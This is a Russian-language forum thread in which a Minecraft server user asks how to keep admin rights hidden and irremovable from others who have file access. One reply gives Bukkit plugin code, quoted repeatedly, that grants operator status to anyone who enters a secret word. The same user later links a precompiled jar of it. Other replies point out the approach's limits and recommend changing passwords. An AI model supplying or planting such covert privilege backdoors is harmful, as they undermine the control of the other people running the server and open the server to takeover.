Помогите Админка без удаления

  • Автор темы Автор темы godred2
  • Дата начала Дата начала

godred2

Активный участник
Пользователь
Баллы
78
Вот кратче говоря:
У некоторых людей есть доступ к файлам сервера(все).
Мне надо сделать так , чтобы меня не могли удалить из админки.
Все предложения прошу высказать здесь.
Также можно где то ее спрятать.
 
Если у них есть доступ к серверу, то ты никак не можешь быть уверен на 100%, что ты не лишишься админки.
 
Вот кратче говоря:
У некоторых людей есть доступ к файлам сервера(все).
Мне надо сделать так , чтобы меня не могли удалить из админки.
Все предложения прошу высказать здесь.
Также можно где то ее спрятать.
Никак.
 
Пиши плагин с таким кодом

Код:
   public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
       if(cmd.getName().equalsIgnoreCase("simpleop") && sender instanceof Player) {
           Player player = (Player)sender;
           if(args.length == 1 && args[0].equals("Секретное_слово")) {
               Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(), "op " + player.getName());
               return true;
           }
       }
    return false;
   }
 
Если у них есть доступ к серверу, то ты никак не можешь быть уверен на 100%, что ты не лишишься админки.
Это понятно, но они не очень умны с кодом сервера. Мне надо админку как то спрятать
Пиши плагин с таким кодом

Код:
   public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
       if(cmd.getName().equalsIgnoreCase("simpleop") && sender instanceof Player) {
           Player player = (Player)sender;
           if(args.length == 1 && args[0].equals("Секретное_слово")) {
               Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(), "op " + player.getName());
               return true;
           }
       }
    return false;
   }
Спасибо, хоть что-то стоящее.
Пиши плагин с таким кодом

Код:
   public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
       if(cmd.getName().equalsIgnoreCase("simpleop") && sender instanceof Player) {
           Player player = (Player)sender;
           if(args.length == 1 && args[0].equals("Секретное_слово")) {
               Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(), "op " + player.getName());
               return true;
           }
       }
    return false;
   }
Куда ник писать? А то я не виджу нет функции...
Можно...
 
Едрить, если у меня будет доступ к FTP (или как Вы там до файлов добираетесь) - хрен Вы спасётесь от меня.
Как вариант - можно даже AutoMessage заюзать (он умеет выполнять команды). Также я могу скорректировать конфиг сервера, разрешив командные блоки (если они даже были защищены) и отобрать админку (или дать себе) с помощью него. Да много чего можно придумать. И, по сути, мне даже ОП как таковой нахрен не нужен - можно всё расписать PEX'ом.

P.S. Нахрена вообще давать полномочия кому попало, а потом греть голову, как защититься? Вы либо глупы либо Вам угрожают физической расправой...
 
Пиши плагин с таким кодом

Код:
   public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
       if(cmd.getName().equalsIgnoreCase("simpleop") && sender instanceof Player) {
           Player player = (Player)sender;
           if(args.length == 1 && args[0].equals("Секретное_слово")) {
               Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(), "op " + player.getName());
               return true;
           }
       }
    return false;
   }
А что им мешает удалить этот плагин?
 
Едрить, если у меня будет доступ к FTP (или как Вы там до файлов добираетесь) - хрен Вы спасётесь от меня.
Как вариант - можно даже AutoMessage заюзать (он умеет выполнять команды). Также я могу скорректировать конфиг сервера, разрешив командные блоки (если они даже были защищены) и отобрать админку (или дать себе) с помощью него. Да много чего можно придумать. И, по сути, мне даже ОП как таковой нахрен не нужен - можно всё расписать PEX'ом.

P.S. Нахрена вообще давать полномочия кому попало, а потом греть голову, как защититься? Вы либо глупы либо Вам угрожают физической расправой...
Угрожаю физ расправой =)
 
Если люди не слишком умные, то не давай доступ к FTP вообще! Ибо это опасно не только для твоей админки, но и для твоего сервера.
 
А что им мешает удалить этот плагин?
так можно же выключить FTP
Просто сделал что тебе нужно и выключил
И не раздавать пароли, сделать пароль например такого HRsfUBuwed2rfd21f9i84RD
 
Короче.. смени пароль и не давай никому! (Так будет лучше всего!)
 
Последнее редактирование:
Это понятно, но они не очень умны с кодом сервера. Мне надо админку как то спрятать

Спасибо, хоть что-то стоящее.

Куда ник писать? А то я не виджу нет функции...

Можно...
Это для плагина код. Ты в консоле пишешь /simpleop Секретное_слово и хренак ты оп.
Вот скомбилил https://cloud.mail.ru/public/dbad773ea7ab/sop.jar "Секретное_слово" поменяешь на свое.
 
Назад
Верх Низ